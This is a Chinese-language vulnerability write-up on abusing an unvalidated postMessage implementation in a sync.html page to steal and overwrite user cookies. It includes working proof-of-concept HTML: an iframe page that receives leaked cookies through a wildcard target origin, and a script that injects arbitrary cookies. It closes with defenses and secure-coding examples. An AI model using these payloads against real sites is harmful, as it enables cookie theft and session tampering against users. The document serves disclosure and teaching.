挖洞经验 | 如何利用postMessage窃取编辑用户的Cookie信息
字数 1143 2025-08-18 11:37:53
利用postMessage窃取和编辑用户Cookie的技术分析
1. postMessage技术概述
postMessage是HTML5提供的一种跨域通信机制,允许在不同窗口或iframe之间安全地传递数据。其基本特点包括:
- 允许跨源通信,即使协议、端口或主机不同
- 提供可控的安全机制,通过
targetOrigin参数限制接收方 - 主要方法:
Window.postMessage(message, targetOrigin, [transfer]) - 监听机制:
window.addEventListener("message", receiveMessage, false)
2. 漏洞发现过程
在测试过程中发现一个包含postMessage实现的页面sync.html,其关键代码如下:
window.parent.postMessage(JSON.stringify(msg), wOrigin);
其中:
msg变量包含用户Cookie信息wOrigin变量控制消息发送的目标域
3. 漏洞分析
3.1 变量控制问题
wOrigin变量从URL哈希中获取,解析过程如下:
var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1)));
var ns = fdata.ns;
var worigin = fdata.worigin;
关键安全问题:
- 没有对
wOrigin进行任何过滤或验证 - 允许设置为"*",表示可发送到任意域
ns(命名空间)参数同样可控
3.2 消息处理漏洞
页面还包含一个消息处理函数:
function h_message(event){
var data = null;
try {
data = JSON.parse(event.data);
} catch(e) { return;}
if (data.msgType !== "write" && data.namespace !== ns) {
return;
}
setCookie(data.cookieName, data.cookieVal, parseInt(data.expiresDays, 10), data.secureOnly);
}
漏洞点:
- 缺乏对消息来源的验证
- 仅检查
msgType和namespace,而这两个参数都可控 - 可直接调用
setCookie函数修改Cookie
4. 漏洞利用方法
4.1 窃取Cookie
步骤1:构造恶意URL
http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}
步骤2:创建攻击页面(poc.html)
<script>
function rcv(event) {
console.log(event); // 这里会接收到包含Cookie的消息
}
window.addEventListener('message', rcv, false);
</script>
<iframe src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}'></iframe>
利用效果:当用户访问poc.html时,iframe加载漏洞页面,自动发送包含Cookie的消息到攻击者控制的页面。
4.2 编辑Cookie
步骤1:构造目标URL
/sync.html#{"ns":"a","wOrigin":"*"}
步骤2:创建攻击页面
<script>
var tar = 'http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}';
var pay = {
"msgType": "write",
"namespace": "a",
"cookieName": "injectedt",
"cookieVal": "hacked",
"expiresDays": 10,
"secureOnly": false
};
var c = window.open(tar, "child");
c.postMessage(pay, "*");
</script>
利用效果:可以任意修改目标站点的Cookie值,包括设置恶意Cookie。
5. 防御措施
- 严格验证targetOrigin:不应使用"*",应明确指定允许的域名
- 验证消息来源:检查
event.origin确保来自可信域 - 敏感操作二次验证:对修改Cookie等敏感操作增加额外验证
- 输入过滤:对从URL哈希等不可信来源获取的参数进行严格过滤
- 最小权限原则:限制postMessage的使用范围和功能
6. 安全编码建议
// 正确的postMessage实现示例
window.addEventListener('message', function(event) {
// 验证消息来源
if (event.origin !== "https://trusted-domain.com") {
return;
}
// 验证消息内容
try {
var data = JSON.parse(event.data);
if (!data || typeof data !== 'object') {
return;
}
// 执行安全操作
// ...
} catch(e) {
console.error("Invalid message format");
}
});
// 发送消息时指定具体targetOrigin
otherWindow.postMessage(message, "https://trusted-domain.com");
7. 总结
postMessage虽然提供了方便的跨域通信能力,但不当使用会导致严重安全风险。本案例展示了如何利用postMessage实现窃取和修改用户Cookie,关键在于:
- 未验证消息目标和来源
- 敏感参数完全可控
- 缺乏必要的安全过滤
开发人员应严格遵循安全规范使用postMessage,避免类似漏洞发生。